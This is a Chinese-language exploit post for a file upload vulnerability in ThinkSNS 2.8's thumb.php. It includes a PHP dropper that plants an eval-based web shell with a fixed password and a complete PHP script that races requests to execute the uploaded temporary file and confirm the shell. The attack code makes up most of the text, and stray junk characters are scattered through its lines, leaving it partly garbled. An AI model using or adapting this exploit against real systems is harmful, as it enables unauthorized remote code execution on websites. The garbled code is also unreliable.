Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
- F0 ~3 l5 E5 @' [8 k文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 Z; V& z8 h- I+ q2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
6 x  k  o3 _& A# x, i6 p% @4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
8 o+ G2 n6 g7 r& ?5 t2 j0 q- dExploit文件内容如下：（这个我就不详细解释了）
<?php
4 u  v" Q7 W4 w" f8 s  c2 c/ _9 Kerror_reporting(0);
% P* i/ k) }5 s& B% p; Nset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
" c! L' B; c) r8 Lfunction http_send($host, $port, $headers) {
; B$ J  [. ?1 Q4 B, Q$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
" M* x* t' C- X* Qfputs($fp, $headers);
% J3 k& `! ?0 y+ ]return $fp;
}
function http_recv($fp) {
7 c- y* ^7 O5 d5 v1 m2 k$ret=”";
+ k) L& p3 F" z1 R1 G- Ewhile (!feof($fp))
& [( G$ P$ D# ]8 ^3 K$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
; L8 N$ B; f2 X( y3 rprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
$ u8 z- h; J! g3 C' H& Y* xprint “Usage:   php <host> <path> <romote_url>\n”;
/ r* y, ]% H& ?- O. [print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
3 }; e% c' Y9 o' ]" w- X$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
& X7 U  r8 C  c: q/ t7 b  e$i=0;
% U' e4 p0 L# s5 M2 n. x. Y//上传数据包
0 x2 t! {8 ?9 s5 b2 Z8 f3 ]$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
$ d0 I0 e4 E) decho $headers_up;
/ U) B. G' }! [! p+ g! o8 }//临时文件访问数据包
# U: E7 e+ }" F$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
9 b3 _8 [! k- E/ C  c$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
  y8 A$ Y3 y* f% k( A% _2 u# X) xfclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
# b* @( G% F6 {  Z4 N5 u+ o3 E4 h* Ofclose(http_send($host, 80, $headers));
}
. u: x! Y9 v3 F) v/ i$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 x! @: w( Y1 M1 e/ U" B) v$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
! c2 K1 `6 O, u* \# {$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
+ z$ B* {2 E4 {- `, X4 I3 kprint “Success!\n\n”;
3 m( \' u8 g9 {; n; E} else {
print “Fail!\n\n”;
}
?>
​